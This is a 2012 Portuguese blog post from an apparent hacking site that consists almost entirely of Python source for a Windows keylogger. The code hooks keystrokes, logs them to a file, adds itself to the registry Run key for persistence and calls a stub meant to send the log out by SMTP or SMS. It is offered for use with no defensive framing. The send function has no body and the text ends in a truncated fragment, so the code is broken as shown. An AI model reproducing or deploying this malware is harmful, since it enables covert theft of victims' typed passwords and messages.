sábado, 7 de julho de 2012

Keylogger em python

import os
import string
import sys
import win32api
import win32con
import time
import pprint
import shutil
import pyHook
import pythoncom
from time import ctime

from _winreg import *

#setting some global vars
skippedKeys = set( (0,) )

def send_message():
#send the keylogged message by smtp, sms, or anything else :)

def OnKeyboardEvent(event):
    try:
        eventWindow, ascii = event.WindowName, event.Ascii
        if ascii not in skippedKeys:
            input_ = chr(ascii)
            print ascii
            f = open('C:\\log.txt', 'r')
            data = f.read()
            f.close()
            f = open('C:\\log.txt', 'w')
            if ascii == 32:
                input_=' '
            else:
                if ascii == 13:
                    input_='\n'
                else:
                    if ascii == 8:
                        input_='*bs*'
            data += input_
            f.write(data)
            f.close()
            if len(data) > 30:
                send_message()
                f = open('C:\\log.txt', 'w')
                f.close()
            return True
    except:
        return True

#to the keylogger after every startup
def regwrite():
  aReg = ConnectRegistry(None,HKEY_LOCAL_MACHINE)
  aKey = OpenKey(aReg, r"SOFTWARE\Microsoft\Windows\CurrentVersion\Run")
  aKey = OpenKey(aReg, r"SOFTWARE\Microsoft\Windows\CurrentVersion\Run", 
0, KEY_WRITE)
#note that we must convert the python file to .exe file
  SetValueEx(aKey,"KEYLOGGER",0, REG_SZ, r"C:\keylogger.exe")
  CloseKey(aKey)
  CloseKey(aReg)

if __name__ == "__main__":
    regwrite()
    try:
        # we flush/create the log file
        f=open('C:\\log.txt', 'w')
        f.close()    
        hm = pyHook.HookManager()    
        hm.KeyDown = OnKeyboardEvent
        hm.HookKeyboard()
        try:
            pythoncom.PumpMessages()
        except:
            pass
    except:
        passnote: you must
← Postagem mais recente Postagem mais antiga → Página inicial

0 comentários:

Postar um comentário

Copyright © Hacking & Security | Powered by Xandao Design by Xandao86 | Xandao86